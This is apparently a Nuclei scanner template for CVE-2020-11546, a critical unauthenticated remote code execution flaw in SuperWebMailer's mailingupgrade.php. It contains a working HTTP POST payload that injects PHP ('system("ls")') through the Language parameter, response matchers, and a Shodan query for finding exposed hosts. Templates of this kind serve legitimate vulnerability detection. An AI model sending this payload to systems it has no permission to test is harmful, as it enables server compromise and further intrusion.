id: CVE-2020-11546 info: name: SuperWebmailer 7.21.0.01526 - Remote Code Execution author: Official_BlackHat13 severity: critical description: SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection. remediation: | Upgrade to the latest version of SuperWebmailer to mitigate this vulnerability. reference: - https://github.com/Official-BlackHat13/CVE-2020-11546/ - https://blog.to.com/advisory-superwebmailer-cve-2020-11546/ - https://nvd.nist.gov/vuln/detail/CVE-2020-11546 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-11546 cwe-id: CWE-94 epss-score: 0.9659 epss-percentile: 0.99487 cpe: cpe:2.3:a:superwebmailer:superwebmailer:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: superwebmailer product: superwebmailer shodan-query: title:"SuperWebMailer" tags: cve,cve2020,rce,superwebmailer http: - raw: - | POST /mailingupgrade.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded step=1&Language=de{${system("ls")}}&NextBtn=Weiter+%3E matchers-condition: and matchers: - type: word part: body words: - ajax_ccea.php - ajax_getemailingactions.php - ajax_getemailtemplates.php condition: and - type: status status: - 200 # digest: 4a0a00473045022100b7580b67bfcf486705a72527f0f0a4d0e47033584491b5fe6440f779f335390502207fd3232756d1127e706e471f67e98802d8e0543a41cc714db2161d8d6c78c0d5:922c64590222798bb761d5b6d8e72950